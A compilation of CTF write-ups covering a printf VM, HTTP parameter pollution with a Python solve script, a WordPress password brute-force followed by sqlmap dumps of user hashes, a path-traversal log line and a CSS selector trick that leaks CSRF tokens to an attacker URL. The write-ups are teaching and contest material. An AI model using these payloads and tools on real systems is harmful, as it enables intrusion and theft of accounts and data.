Count how many format are there by:
```$ sed -e 's/[[:digit:]]\+/1/g' default.fs | sort | uniq -c | sort -nr 3058 %1$*1$s%1$*1$s%1$hhn 256 %1$hhn%1$*1$s%1$hhn 33 %1$*1$s%1$hhn 16 %1$s%1$hhn 16 %1$hhn 16 %1$*1$s%1$1s%1$hhn```
So we have 6 different type of instructions, after that I wrote a[decompiler](https://github.com/Inndy/ctf-writeup/tree/master/2017-seccon-quals/printf_machine/decompile.py) translate it to C-style code.
```$ ./decompile.py/* 2 */ b[4] = max(strlen(&b[2]), b[17]);/* 2 */ b[17] = max(strlen(&b[2]), b[30]);/* 2 */ b[30] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[18]);/* 2 */ b[18] = max(strlen(&b[2]), b[24]);/* 2 */ b[24] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[19]);/* 2 */ b[19] = max(strlen(&b[2]), b[27]);/* 2 */ b[27] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[22]);/* 2 */ b[22] = max(strlen(&b[2]), b[27]);/* 2 */ b[27] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[23]);/* 2 */ b[23] = max(strlen(&b[2]), b[31]);/* 2 */ b[31] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[24]);/* 2 */ b[24] = max(strlen(&b[2]), b[32]);/* 2 */ b[32] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[26]);/* 2 */ b[26] = max(strlen(&b[2]), b[31]);/* 2 */ b[31] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[27]);/* 2 */ b[27] = max(strlen(&b[2]), b[32]);/* 2 */ b[32] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[29]);/* 2 */ b[29] = max(strlen(&b[2]), b[31]);/* 2 */ b[31] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[30]);/* 2 */ b[30] = max(strlen(&b[2]), b[32]);/* 2 */ b[32] = max(strlen(&b[2]), b[4]);/* 2 */ b[4] = max(strlen(&b[2]), b[31]);/* 2 */ b[31] = max(strlen(&b[2]), b[32]);/* 2 */ b[32] = max(strlen(&b[2]), b[4]);/* 0 */ b[3] = 0;/* 3 */ b[4] = 0; b[9] = max(strlen(&b[2]), b[17]);/* 5 */ b[9] = max(strlen(&b[2]), b[9]) + max(strlen(&b[2]), b[9]);/* 5 */ b[9] = max(strlen(&b[2]), b[9]) + max(strlen(&b[2]), b[9]);/* 5 */ b[4] = max(strlen(&b[2]), b[4]) + max(strlen(&b[2]), b[9]);/* 5 */ b[9] = max(strlen(&b[2]), b[9]) + max(strlen(&b[2]), b[9]);/* 5 */ b[4] = max(strlen(&b[2]), b[4]) + max(strlen(&b[2]), b[9]);/* 5 */ b[9] = max(strlen(&b[2]), b[9]) + max(strlen(&b[2]), b[9]);/* 5 */ b[4] = max(strlen(&b[2]), b[4]) + max(strlen(&b[2]), b[9]);/* 5 */ b[9] = max(strlen(&b[2]), b[9]) + max(strlen(&b[2]), b[9]);/* 5 */ b[9] = max(strlen(&b[2]), b[9]) + max(strlen(&b[2]), b[9]);/* 5 */ b[4] = max(strlen(&b[2]), b[4]) + max(strlen(&b[2]), b[9]);/* 5 */ b[9] = max(strlen(&b[2]), b[9]) + max(strlen(&b[2]), b[9]);/* 5 */ b[4] = max(strlen(&b[2]), b[4]) + max(strlen(&b[2]), b[9]);/* 5 */ b[9] = max(strlen(&b[2]), b[9]) + max(strlen(&b[2]), b[9]);
(.. and more)```
After some analyze, we can perform some optimize since we know that ins 2 is simple assignment, ins 5 is add...etc.
There's a pattern in instruction sequances, if we write instruction sequance into regular expression, if would be: `2+(0(35+)+415)+`.
At first the script will swap flag chars (`2+` part), then check each character (`(35+)+` part), save compare result to `b[16]` (`415` part)
Finally we wrote a [optimized decompiler](https://github.com/Inndy/ctf-writeup/tree/master/2017-seccon-quals/printf_machine/compile_to_z3.py) with a simple finite state machine to generate z3 SMT sovler script.
```$ ./compile_to_z3.py | python2satSECCON{Tur!n9-C0mpl3t3?}``` |
## Tax Aversion (Web, 500pt)
> Reward $4300 Client Mark Jeffrey Suggested prior experience Moderate>> A certain distinguished politician is strangely reluctant to publish his tax return. Enquiring minds would be thrilled to obtain a copy of Michael Dowd's tax return. To get started, feel free to use my HMRC account: mjeffrey:jitterbeetle> > [advice pending] -- admin>> [Go to tagret](http://hmrc.hackxor.net/)> > HINT: Double encoding isn't just a filter bypass technique - it can reveal important details about a system.

Application provides only a small surface for exploitation. Users can only reset their password and view their tax return. We are given an account and asked to retrieve the tax return for another user (`mdowd`).
Request to update our password is:
```POST / HTTP/1.1Host: hmrc.hackxor.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:58.0) Gecko/20100101 Firefox/58.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://hmrc.hackxor.net/Content-Type: application/x-www-form-urlencodedContent-Length: 103Cookie: _globalinstancekey=301063/1/P6hru1HheN0sKJ_acY7DXQ==; sid=wGpEUWHRDujkIhqTXcOFWG8BucLtNSgSConnection: close
oldpass=jitterbeetle&newpass1=jitterbeetle&newpass2=jitterbeetle&token=EzXQt1IFGF4xc5fopa8CK76XKiPyuHWg```
Request to view our tax return is:
```GET /viewReturn?year=2017&username=mjeffrey HTTP/1.1Host: hmrc.hackxor.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:58.0) Gecko/20100101 Firefox/58.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCookie: _globalinstancekey=301063/1/P6hru1HheN0sKJ_acY7DXQ==; sid=wGpEUWHRDujkIhqTXcOFWG8BucLtNSgSConnection: close```
After fuzzing all user inputs for vulnerabilities (including `sid` for padding oracle :P) the only parameter that seemed to be *kind of injectable* was `year` in the tax return requests. We could send payloads such as `2017'#ignored` and still get our tax return. However, `2017';#` or `2017' #` didn't work. Tried several bypasses, such as alternate spacing (`\x0a`, `\x0d`, `\x09`, `/**/`) and double url encoding but none worked. There must be something else...
Influenced by the last challenge my teammate [@tomtoump](https://github.com/tomtoump) solved (writeup link here) I tested the application's behavior on parameter pollution. It seemed that polluted parameters were put in array. So, I decided to test for **server-side parameter pollution**.
**Request:**```GET /viewReturn?year=2017'%26username%3dmdowd%3b%23&username=mjeffrey```
**Response:**```Couldn't find user mjeffreymdowd```
**Request:**```GET /viewReturn?year=2017'%26username%3ddowd%3b%23&username=m```
**Response:**```You are not authorised to view this tax return```
The `username` must be our real username.
I spent several more hours trying to find a way to make the username `mdowd` until my teammate [@hpyl](https://github.com/hpyl) told me that by appending the `login` parameter in password update requests, we are able to update our username besides our password! In my opinion, even though this is something that may happen in real-world applications, it just doesn't fit a CTF challenge and negatively affected its quality. Nonetheless, we can now get `mdowd`'s tax return by updating our username to `m` and then use the server-side pp to concatenate it with `dowd`.
Final solution is summarized in the [solve.py](solve.py) script.
```pythonimport reimport requests
_target = 'http://hmrc.hackxor.net/'_user, _pass = 'mjeffrey', 'jitterbeetle'
sess = requests.Session()
# create new instancesess.get(_target)
# login with provided accountsess.post(_target + 'login', data={'user': _user, 'password': _pass})print '[+] logged in: ' + sess.cookies.get_dict()['sid']
# get csrf tokenresp = sess.get(_target)csrf_token = re.search(r'value="([^"]{30,35})"', resp.text).group(1)print '[+] got csrf token: ' + csrf_token
# update usernamesess.post(_target, data={'login': 'm', 'oldpass': _pass, 'newpass1': _pass, 'newpass2': _pass, 'token': csrf_token})print '[+] updated username'
# exploit server-side hpp to access mdowd tax returnresp = sess.get(_target + 'viewReturn', params={'year': '2017\'%26username%3ddowd%3b%23', 'username': 'm'})flag = re.search(r'hackim18{\'([^}]+)\'}', resp.text).group(1)print '[+] flag: hackim18{{\'{}\'}}'.format(flag)```
```[+] logged in: GW9VIUEweK1VdWKtSWFrAoQ9Nl1xMaoy[+] got csrf token: DiQdJACgGiKOBKUKlAzVLDzyScdSADud[+] updated username[+] flag: hackim18{'f49f40f2e2ef092770212387966e92d5'}```
## References
* https://www.ikkisoft.com/stuff/HPParticle.pdf* https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/ |
We used [dnSpy](https://github.com/0xd4d/dnSpy) to decompile `Harekaze15Puzzle.exe`.
In `Form1` instance, `this.rnd` is a random number generator that was initialized with a seed.The seed is `-24110677` that was found by setting a breakpoint.
To get the flag, `this.rnd` have to generate a random number 1001 times.Perform `FlagGenerator.ShowFlag` with `this.rnd` shows the flag.
```this.rnd = new Random(-24110677);
for (int i = 0; i < 1001; i ++) { this.rnd.Next(16); }
FlagGenerator.ShowFlag(this.rnd);``` |
Memory leak with format strings.
Post:<https://github.com/jesux/ctf-write-ups/tree/master/nullcon-2018/exploiting1>
Code:<https://github.com/jesux/ctf-write-ups/blob/master/nullcon-2018/exploiting1/nullcon2018-exp1.py> |
> 75>> Client01> > Attached file is the homepage of the client01. He knows the flag.>> Download
Search through the client files brings up the following reference in ```client01/.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX```:
```<div dir="ltr">http://www.filehosting.org/<wbr>file/details/720884/file</div>```
The downloaded file is a damaged PNG image (letter ```P``` is missing from the ```PNG``` header). We correct it and enough of the flag is revealed to finish the challenge:

The flag is ```SharifCTF{43215f0c5e005d4e557ddfe3f2e57df0}```. |
**Web - The News Hacker - 150pts**
Enoncé :```Only admin can see the flag :)ctf.sharif.edu:8082Hint: Weak password!```
**Résolution :**
Le site est un wordpress :

On commence par le scanner pour identifier les différentes versions des plugins et lister les utilisateurs.
```BASHwpscan --url http://ctf.sharif.edu:8082 --enumerate u```
**Résultat :**```Deux utilisateurs sont présent sur le système : +----+-----------+-----------+ | Id | Login | Name | +----+-----------+-----------+ | 1 | admin | admin | | 2 | organizer | organizer | +----+-----------+-----------+
```Un plugin est vulnérable à une injection SQL authentifié :
```[!] Title: Event List <= 0.7.8 - Authenticated SQL Injection Reference: https://wpvulndb.com/vulnerabilities/8846 Reference: https://dtsa.eu/cve-2017-9429-event-list-version-v-0-7-8-blind-based-sql-injection-sqli/ Reference: https://plugins.trac.wordpress.org/changeset/1676971/event-list Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9429[i] Fixed in: 0.7.9
```
On bruteforce l'accès à l'administration du wordpress via la page **wp-login.php** avec burp et le dictionnaire rockyou

On trouve le couple d'identifiant : organizer / password
On se connecte grâce aux identitifants

Nous avons maintenant un cookie de session valide pour exploiter l'injection sql en mode authentifié : [CVE-2017-9429](https://dtsa.eu/cve-2017-9429-event-list-version-v-0-7-8-blind-based-sql-injection-sqli/)
Avec SQLMAP on injecte sur le paramètre **id**:```BASHsqlmap -u "http://ctf.sharif.edu:8082/wp-admin/admin.php?page=el_admin_main&action=edit&id=1 AND SLEEP(2)" --cookie="wordpress_0a035233da76ab47b383406952116587=organizer%7C1517739757%7CBvi9HeOuVUVjGtcTlFxeK0w6ikHvbjQ63cH4No4fKvt%7Cc2da9849c840a893d0cf33bf38bd75a9a7af23367151b471e912be06963bb21b; csrftoken=gMHcyH05di9Nbae4Nob9iz8jXKN7twztLs2V0Zl55nC4mDQJEoEBxFf1ClV1cX5O; sessionid=h7xiiydxhmcqd3u9vij4p1c75fwaiis1; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_0a035233da76ab47b383406952116587=organizer%7C1517739757%7CBvi9HeOuVUVjGtcTlFxeK0w6ikHvbjQ63cH4No4fKvt%7Cabf11d732008c12922d0e7101ddcf906203f47813221521c84eb51bdf1180e64; wp-settings-2=libraryContent%3Dupload%26mfold%3Do%26editor%3Dtinymce%26uploader%3D1; wp-settings-time-2=1517567162" -p id```
L'injection fonctionne, il ne reste plus qu'à afficher le contenu de la base de données désirée.
La première idée à été de dumper le mot de passe du compte : admin
```BASHsqlmap -u "http://ctf.sharif.edu:8082/wp-admin/admin.php?page=el_admin_main&action=edit&id=1 AND SLEEP(2)" --cookie="wordpress_0a035233da76ab47b383406952116587=organizer%7C1517739757%7CBvi9HeOuVUVjGtcTlFxeK0w6ikHvbjQ63cH4No4fKvt%7Cc2da9849c840a893d0cf33bf38bd75a9a7af23367151b471e912be06963bb21b; csrftoken=gMHcyH05di9Nbae4Nob9iz8jXKN7twztLs2V0Zl55nC4mDQJEoEBxFf1ClV1cX5O; sessionid=h7xiiydxhmcqd3u9vij4p1c75fwaiis1; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_0a035233da76ab47b383406952116587=organizer%7C1517739757%7CBvi9HeOuVUVjGtcTlFxeK0w6ikHvbjQ63cH4No4fKvt%7Cabf11d732008c12922d0e7101ddcf906203f47813221521c84eb51bdf1180e64; wp-settings-2=libraryContent%3Dupload%26mfold%3Do%26editor%3Dtinymce%26uploader%3D1; wp-settings-time-2=1517567162" -p id -D wp_blog -T wp_users --dump
Database: wp_blogTable: wp_users[2 entries]+----+----------+------------------------------------+------------+-------------------------+-------------+--------------+---------------+---------------------+-----------------------------------------------+| ID | user_url | user_pass | user_login | user_email | user_status | display_name | user_nicename | user_registered | user_activation_key |+----+----------+------------------------------------+------------+-------------------------+-------------+--------------+---------------+---------------------+-----------------------------------------------+| 1 | <blank> | $P$BlswVddCYusVLzt8kbJ2IgtYAzjfFV. | admin | [email protected] | 0 | admin | admin | 2018-01-01 07:38:36 | <blank> || 2 | <blank> | $P$ByyRxRMg.AIWvtbM1Jf3A0Obt/oEJy1 | organizer | [email protected] | 0 | organizer | organizer | 2018-01-08 04:16:36 | 1515384996:$P$B8XHeMJAc23PiQ.TKcINv40EoS4jUV1 |+----+----------+------------------------------------+------------+-------------------------+-------------+--------------+---------------+--------------------
```Après une heure de bruteforce offline avec hashcat le mot de passe n'a pas été trouvé.
On dump alors tous les posts du wordpress en espérant en trouver un de caché.
```BASHsqlmap -u "http://ctf.sharif.edu:8082/wp-admin/admin.php?page=el_admin_main&action=edit&id=1 AND SLEEP(2)" --cookie="wordpress_0a035233da76ab47b383406952116587=organizer%7C1517745041%7CaFwFCjTZRnFNkPPS2tgadihYPOnZegBYj4uGZLE1d4h%7C3fc24876b5521be0e1075ce103b2f76d4d044237e9f5682d978e7a281e313f34; csrftoken=gMHcyH05di9Nbae4Nob9iz8jXKN7twztLs2V0Zl55nC4mDQJEoEBxFf1ClV1cX5O; sessionid=h7xiiydxhmcqd3u9vij4p1c75fwaiis1; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_0a035233da76ab47b383406952116587=organizer%7C1517745041%7CaFwFCjTZRnFNkPPS2tgadihYPOnZegBYj4uGZLE1d4h%7C8d85976e7e3fe45466237298692e0a71ef640c92b24fc99e1f7c6b2c771bc251; wp-settings-2=libraryContent%3Dbrowse%26mfold%3Do%26editor%3Dhtml%26uploader%3D1; wp-settings-time-2=1517572245; XSRF-TOKEN=eyJpdiI6ImpzTE9IT01LWEZhMVdIY3A0NURKTVE9PSIsInZhbHVlIjoiRG1qZVkyTTkxU2VsMlJJNzFFbiswbkVEU2dPZzYzNEZidHIwVkE5QnVQZnJ3XC9pcHpIUnJDOE9ZTCtFMUhJWm52WnBTM2lUdTNqRGlNNXhqSk9IRHVnPT0iLCJtYWMiOiIyM2U0M2I2NGUyYThlODZkMjE5ZGM0MTFjNWM5NzczNmVkOGE4ZjUyNjBiMjg5MWY1ZjNhYTczMzFlOTc3N2IxIn0%3D; laravel_session=eyJpdiI6IlRodmZ3YUc5K2pHSzJkUmtBSWwzMUE9PSIsInZhbHVlIjoibkhXXC9mQ2RRMWFkWkpEc0FYdk5qVHhZVlZZSGpaNFdyWU1RMStwSzdHU0U3RkJua3RMM1l4bHFJbXB3Zzd5NW44UUJ4U3E0YnRMcWlJb0Rzd21oYmlBPT0iLCJtYWMiOiI3ZWVlMGYyYWIyMDgxOWFkYjZjN2Y0YzNhZDAyZTdhNDMzMWM1M2EzMTE1ZjRhN2M0YjM2OWM0ZDU0YzI5MGQ5In0%3" -p id -D wp_blog -T wp_posts --dump
[13:22:35] [INFO] retrieved: "25","0","open","http://10.0.3.189/?p=25","0","open","","1","Flag is SharifCTF{e7134abea7438e937b87608eab0d979c}","","2018-01-08 04:14:21","2018-01-08 04:14:21","","","2018-01-08 10:5...```
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
Solution:1. Recon2. Cloning git`wget -r http://54.85.105.103/.git/`3. Extracting commitshttps://github.com/internetwache/GitTools/4. Inviting ourselves to Slack using API5. Enum6. Checking the key`chmod 600 id_rsa && ssh -i id_rsa [email protected]`7. Looking for flag
 |
# ▼▼▼Log search(Web:100)、344/1028team=33.5%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```Search the flag on Elasticsearch.http://logsearch.pwn.seccon.jp/ ```
-----
【機能】
URLにアクセスすると、「Find the flag!」と書かれており、Log search とリンクが張られている。
そのリンクにアクセスすると、ファイルを検索できるようだ。
-----
題名が「Find the flag!」なので、素直に「flag」を検索してみる。
↓```POST /logsearch.php HTTP/1.1Host: logsearch.pwn.seccon.jpContent-Type: application/x-www-form-urlencoded
query=flag```↓```timestamp verb request response09/Dec/2017:20:23:18 +0900 GET /flag-gpoxAghss5TjcRN4dnHuXi3kZqVoaI69.txt 404 09/Dec/2017:20:23:16 +0900 POST /logsearch.php/flag/sQR0O4AD.list 200 09/Dec/2017:20:23:13 +0900 POST /logsearch.php/flag/sQR0O4AD.list 200 09/Dec/2017:20:23:11 +0900 POST /logsearch.php/flag/sQR0O4AD.list 200 09/Dec/2017:20:23:11 +0900 POST /logsearch.php/flag/sQR0O4AD.list 200 09/Dec/2017:20:23:11 +0900 GET /flag-i9fqBerHUKqcwLiEZTi9CnPW6XWkUCBG.txt 404 09/Dec/2017:20:23:08 +0900 GET /logsearch.php?/logsearch.php/?query=flag-1CUmFwSDMoqNBwATogJ8guS4VajHe74w.txt 200 09/Dec/2017:20:23:08 +0900 POST /logsearch.php/flag/sQR0O4AD.list 200 09/Dec/2017:20:23:05 +0900 POST /logsearch.php/flag-1CUmFwSDMoqNBwATogJ8guS4VajHe74w.txt 200 09/Dec/2017:20:23:05 +0900 GET /flag-DYKzTplXbFlDGlTPEwp4mftb9SVtbkBI.txt 404 09/Dec/2017:20:23:04 +0900 GET /flag/doc/vxvm/vxvm_ag.pdf/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../../../etc/passwd%00/SECCON/logsearch.php/log/flag.txt 404 09/Dec/2017:20:23:03 +0900 GET /logsearch.php/flag/ 200 09/Dec/2017:20:23:02 +0900 GET /logsearch.php?page=/flag/ 200 09/Dec/2017:20:23:02 +0900 POST /logsearch.php/flag/.ssh/known_hosts.txt 200 09/Dec/2017:20:22:59 +0900 GET /logsearch.php?page=/flag 200 09/Dec/2017:20:22:58 +0900 GET /flag-YiaOS6JRxdGgS6YXNdd53RmKEirWnrSc.txt 404 09/Dec/2017:20:22:56 +0900 GET /flag-i5DOOMfrrkxXXKJX2v0Mzsqp1CEaQMlH.txt 404 09/Dec/2017:20:22:56 +0900 GET //logsearch.php?page=flag/admin/pol_log.txt/logsearch.php/SECCON/logsearch.php/log/flag.txt 200 09/Dec/2017:20:22:56 +0900 POST /logsearch.php?Request.path=flag* 200 09/Dec/2017:20:22:54 +0900 GET /flag/logsearchpwnseccon.zip 404 09/Dec/2017:20:22:54 +0900 GET /flag/logsearchpwnseccon.zip 404 09/Dec/2017:20:22:54 +0900 GET /flag/logsearchpwnseccon.zip 404 09/Dec/2017:20:22:52 +0900 GET /flag-0l8iicUjzlTOxpPVW9oUjdfwJHhtjzMX.txt 404 09/Dec/2017:20:22:51 +0900 POST /logsearch.php/flag-1CUmFwSDMoqNBwATogJ8guS4VajHe74w.txt 200 09/Dec/2017:20:22:50 +0900 GET /logsearch.php/flag/logsearchpwnseccon.zip 200 09/Dec/2017:20:22:50 +0900 GET /logsearch.php/flag/logsearchpwnseccon.zip 200 09/Dec/2017:20:22:49 +0900 POST /logsearch.php/flag/.ssh/known_hosts.txt 200 09/Dec/2017:20:22:48 +0900 POST /logsearch.php/flag/.ssh/known_hosts.txt 200 09/Dec/2017:20:22:46 +0900 POST /logsearch.php/flag/ 200 09/Dec/2017:20:22:46 +0900 POST /logsearch.php?Request.path=flag* ```↓
また、何度か送信してみると結果は、ほぼリアルタイムに最新の日付順に表示されるようだ。(再現性はなし)★
-----
phpを読み込めないかと思い`<`を検索してみるが、何も検索されない
↓
検索されない文字が存在することが分かった。
↓
検索できない文字を調べるために、`%00~%FF`を検索してみる。
↓```1.検索0件%20( )、%23(#)、%24($)、%25(%)、%26(&)、%27(')、%2c(,)、%2e(.)、%3b(;)、%3c(<)、%3d(=)、%3e(>)、%40(@)、%5f(_)、%60(`)、%7c(|)
2.エラーSomething wrong... X(%21(!)、%22(")、%28(()、%29())、%2b(+)、%2d(-)、%2f(/)、%3a(:)、%5b([)、%5c(\)、%5d(])、%5e(^)、%7b({)、%7d(})、%7e(~)```↓
Something wrong... X(
おそらく検索で使える記号と思われる。google検索のように絞り込めるのではと考えた。
-----
リアルタイムにログ内容が表示されていたためか`/logsearch.php`が多く検索されたので、`-logsearch.php`で絞り込めるか試してみた。
↓```POST /logsearch.php HTTP/1.1Host: logsearch.pwn.seccon.jpContent-Length: 25Cache-Control: max-age=0Origin: http://logsearch.pwn.seccon.jpUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: http://logsearch.pwn.seccon.jp/logsearch.phpAccept-Encoding: gzip, deflateAccept-Language: ja,en-US;q=0.9,en;q=0.8Connection: close
query=flag+-logsearch.php```↓```timestamp verb request response09/Dec/2017:23:03:30 +0900 GET /flag-fi0zTj0MftRsft2OaIFGrqB4WLmPg5UO.txt 404 09/Dec/2017:23:03:23 +0900 GET /flag-ULrBrhRbLZfPKJ3P3JKEeOIYjsCfyn7l.txt 404 09/Dec/2017:23:03:17 +0900 GET /flag-D3wU4du7D0oFIWLWkZC14nlXktaE8puY.txt 404 09/Dec/2017:23:03:11 +0900 GET /flag-fvT0sPEnYnbOxwRfLFk1qUvUUnXZ90Mk.txt 404 09/Dec/2017:23:03:05 +0900 GET /flag-qyBJNxttsq4kwySknZGQu748QtxzByOL.txt 404 09/Dec/2017:23:02:58 +0900 GET /flag-RDMLeZCgQST7XvAB4oZYOvjTrSWuBDX6.txt 404 09/Dec/2017:23:02:52 +0900 GET /flag-1dDjTfB8cEJJ52ikQTIS1BI997o2rxpy.txt 404 09/Dec/2017:23:02:46 +0900 GET /flag-VY4tkgEsgmDt3ro44sOODv73xTSFqRVk.txt 404 09/Dec/2017:23:02:39 +0900 GET /flag-1E69cCC27VJuNrIUZbaeihFF1M7IMGUw.txt 404 09/Dec/2017:23:02:33 +0900 GET /flag-asn0Fczvp4BZUehffMH13LFdm0iyDWOg.txt 404 09/Dec/2017:23:02:27 +0900 GET /flag-t3F9EFwygukOiAlscnzAEFPqMuBCdK8K.txt 404 09/Dec/2017:23:02:20 +0900 GET /flag-qlkYMSDLOY9Xf9iFYAgRlrQcKfB9Hbu8.txt 404 09/Dec/2017:23:02:14 +0900 GET /flag-r7fDKYEr0I0aS5apspL8xh24a7AHq2uu.txt 404 09/Dec/2017:23:02:08 +0900 GET /flag-OGqdBrqdd4El0hjDQCdPlJjlEXgwjCDC.txt 404 09/Dec/2017:23:02:02 +0900 GET /flag-Jni8WdkKhosojnELyhw5EjKOm8llSefM.txt 404 09/Dec/2017:23:01:55 +0900 GET /flag-Gbx1oDGbpSD4mMDVGkK6dO6gwk44RJiS.txt 404 09/Dec/2017:23:01:49 +0900 GET /flag-FkI9KGp9s6k3WCQMx0jtNwiBd8ry3DLX.txt 404 09/Dec/2017:23:01:43 +0900 GET /flag-C7SflhDTz4IntIiKrEAPl1k0ayhbkUvC.txt 404 09/Dec/2017:23:01:36 +0900 GET /flag/ 404 09/Dec/2017:23:01:36 +0900 GET /flag-hNSNRbQTnsmPZ0XsnzSPFFpKAzQOfGFd.txt 404 09/Dec/2017:23:01:33 +0900 GET /flag 404 09/Dec/2017:23:01:30 +0900 GET /flag-COcqrbK3EZN0VjNbUmzauVTaGpeLcyiY.txt 404 09/Dec/2017:23:01:24 +0900 GET /flag-vViKMETxvfdHg6Ge726CfZT1wWdWLy41.txt 404 09/Dec/2017:23:01:17 +0900 GET /flag-BTTIqMk60cMYNnyS6Yhdpe2iEMnMslqk.txt 404 09/Dec/2017:23:01:11 +0900 GET /flag-ZvcuWVASi96jgRBLnKJNYEn38B6UfER1.txt 404 09/Dec/2017:23:01:05 +0900 GET /flag-sOaQkEVaRzSUhxvKfSNlnSybnu2mKZMR.txt 404 09/Dec/2017:23:00:59 +0900 GET /flag-G1fPFLCTKgrOaBUAMDKzaFIzJk2Gey59.txt 404 09/Dec/2017:23:00:52 +0900 GET /flag-MTiOEi20rJY1QDiGaSGdzLSCwpA3jgIu.txt 404 09/Dec/2017:23:00:46 +0900 GET /flag-zyd5BhIpMF34HrLg3ttpuQNFyQIYFMyU.txt 404 09/Dec/2017:23:00:40 +0900 GET /flag-VnT4qbx1o2heYu2agtLFMWB6VyH4cdBE.txt 404 ```↓絞り込めて、ほぼ`/flag-●●●●●.txt`のみになった。
これは参加者が送信しているとは考えづらい(参加者が邪魔をしていなければ)ので、これがflag形式と推測できるが全て404応答であった。
これが200応答のものを検索できればよいと考えた。
↓
再現性がないので何度か送信していると200応答のものが見つかった。
↓
`/flag-b5SFKDJicSJdf6R5Dvaf2Tx5r4jWzJTX.txt 200`
↓ アクセスする
http://logsearch.pwn.seccon.jp/flag-b5SFKDJicSJdf6R5Dvaf2Tx5r4jWzJTX.txt
↓
`SECCON{N0SQL_1njection_for_Elasticsearch!}`
-----
N0SQL_1njectionは使っていない...google検索っぽく使っただけ...
※正攻法は、題名がelastic search なので、Query String Queryのコマンドで絞り込むことできるらしい。 |
# Cool Storage Service (Web, 357p, 7 solved)
[PL](#pl-version)
In the task we get access to a simple PHP-based file storage service.Initial setup seems like a classic XSS task, since we can provide admin with a link and he will visit it.However it seems we can provide only a link to this storage service, and the CSP header is:
`Content-Security-Policy: default-src 'none'; style-src 'self'; img-src data: http:`
This means we can't execute any JS, styles can be loaded only from the same domain and pictures can be loaded from data or from external server.
We can use this service to store files, however `php, php3...` etc. extensions are blacklisted.The service claims that we can upload only pictures, but in reality the checks are not very strict, so for example prefix `GIF` can fool it, same as prepending PNG header.
Once the file is uploaded we can view it, but it's loaded as `data` in base64 form.We can trigger an error by trying to view non-existing file, and this will tell us that our sandbox is at `/uploads/sha256(our_login)`, but when we try to access the file directly via `http://css.teaser.insomnihack.ch/uploads/...` we get `Direct access to uploaded files is only allowed from localhost`.This means that even if we could upload a `.php` file, we would probably not be able to execute it.
In some places on the page we get `echo` on our inputs.For example searching for some filename, we get `Search results for : our text`.In most places html entities are escaped, but there are a couple of places where it's not the case:
- In `view file` the filename is not escaped, so we can inject html there- In `user profile` inputs are not escaped and we can inject html there as well- In `login` screen there is a hidden input `redirect`, which is not escaped

To wrap up what we already have:
- CSP allows to load styles from the same domain- We can echo any input we want on the page- We can inject html tags- CSP allows to load images from external server
This leads us to the first piece of the puzzle - we can inject html tag `<link rel="stylesheet" href="something"/>` tag in order to load css of our choosing.The `something` has to be a link to the page which echos our payload, for example:
`http:\\css.teaser.insomnihack.ch\index.php?search=%0a%7B%7D%20body%20%7B%20background-color%3A%20lightblue%3B%20%7D%0a&page=search&.css`
which prints out `Search results for : {} body { background-color: lightblue; }`
Chaining the two in the form of: `http://css.teaser.insomnihack.ch/index.php?page=login&redirect=%22%3E%3Clink%20rel=%22stylesheet%22%20href=%22http%3A%5C%5Ccss.teaser.insomnihack.ch%5Cindex.php%3Fsearch%3D%250a%257B%257D%2520body%2520%257B%2520background-color%253A%2520lightblue%253B%2520%257D%250a%26page%3Dsearch%26.css`
Shows us a nice blue page, as expected.
We can now use CSS selectors to exflitrate data from the page! By creating style with entries in the form:
`input[value^="a" i]{background: url('http://url.we.own/a')`
We can listen for hits on the provided url, and this way we can check if the first letter of `value` attribute of `input` tags on the page is `a`.
There are some issues here:
- The only thing we can really `steal` is CSRF token.- We can steal data only letter-by-letter. We need to steal first letter in order to prepare new CSS selectors for the second letter.- It seems the token changes every time we send link to the admin, so we would need to extract the whole token in one go.- Even if we get the CSRF token, we still can't run any JS, so we can't send any POST request as admin.
Initially we thought that only links to the page `http://css.teaser.insomnihack.ch` can be sent to admin, but it turned out that it was not the case.In reality there was only a check for the `prefix` of URL, not a real domain check.This means we could register `http://css.teaser.insomnihack.ch.our.cool.domain` and admin would visit this link just fine.
This solves the issue with sending a POST request, since we can now lure admin into our own page and send request from there.It also solves the issue of stealing whole CSRF token, because we can now dynamically generate iframes with CSS selectors for consecutive letters.We create iframe with selectors for first letter, grab the matching letter from our `backend` (listening for hits from CSS), and create another iframe with selectors for two letters using known prefix etc.Once we have full token we can finally send a POST a admin.
